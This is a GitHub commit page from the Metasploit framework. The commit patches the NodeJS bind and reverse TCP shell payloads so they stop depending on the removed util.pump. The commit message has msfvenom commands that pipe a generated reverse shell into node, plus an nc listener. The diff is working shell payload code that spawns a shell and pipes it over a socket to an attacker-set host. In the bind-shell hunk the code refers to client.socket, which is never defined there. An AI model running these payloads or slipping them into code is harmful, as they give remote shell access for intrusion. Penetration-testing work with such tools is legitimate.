Skip to content

Commit d3f7f6e

Browse files
coffeetocodebusterb
authored andcommitted
handle missing util.pump in nodejs shell payloads
Modern NodeJS (since 5.3.0) has removed util.pump in favor of stream.pipe. On current versions the nodejs tcp shell payloads error out: ``` $ node --version v7.10.0 $ msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node <snip> TypeError: util.pump is not a function at Socket.<anonymous> ([stdin]:1:405) at Object.onceWrapper (events.js:293:19) at emitNone (events.js:86:13) at Socket.emit (events.js:188:7) at TCPConnectWrap.afterConnect [as oncomplete] (net.js:1080:10) ``` With this change, bind and reverse tcp should be tolerant of both new and older versions. *Reference* nodejs/node#2531 *Verification steps* 1. Set up a handler (either exploit/multi/handler or simple nc) ``` $ nc -l -v 7777 ``` 2. Use patched version with various versions of node: ``` msfvenom -p nodejs/shell_reverse_tcp LHOST=127.0.0.1 LPORT=7777 | node ``` 3. Confirm both old and new versions of node result in shell, not error.
1 parent 78c2744 commit d3f7f6e

File tree

1 file changed

+14
-4
lines changed

1 file changed

+14
-4
lines changed

Diff for: lib/msf/core/payload/nodejs.rb

+14-4
Original file line numberDiff line numberDiff line change
@@ -18,8 +18,13 @@ def nodejs_bind_tcp
1818
var server = net.createServer(function(socket) {
1919
var sh = cp.spawn(cmd, []);
2020
socket.pipe(sh.stdin);
21-
util.pump(sh.stdout, socket);
22-
util.pump(sh.stderr, socket);
21+
if (typeof util.pump === "undefined") {
22+
sh.stdout.pipe(client.socket);
23+
sh.stderr.pipe(client.socket);
24+
} else {
25+
util.pump(sh.stdout, client.socket);
26+
util.pump(sh.stderr, client.socket);
27+
}
2328
});
2429
server.listen(#{datastore['LPORT']});
2530
})();
@@ -53,8 +58,13 @@ def nodejs_reverse_tcp(opts={})
5358
var client = this;
5459
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
5560
client.socket.pipe(sh.stdin);
56-
util.pump(sh.stdout, client.socket);
57-
util.pump(sh.stderr, client.socket);
61+
if (typeof util.pump === "undefined") {
62+
sh.stdout.pipe(client.socket);
63+
sh.stderr.pipe(client.socket);
64+
} else {
65+
util.pump(sh.stdout, client.socket);
66+
util.pump(sh.stderr, client.socket);
67+
}
5868
});
5969
})();
6070
EOS

0 commit comments

Comments
 (0)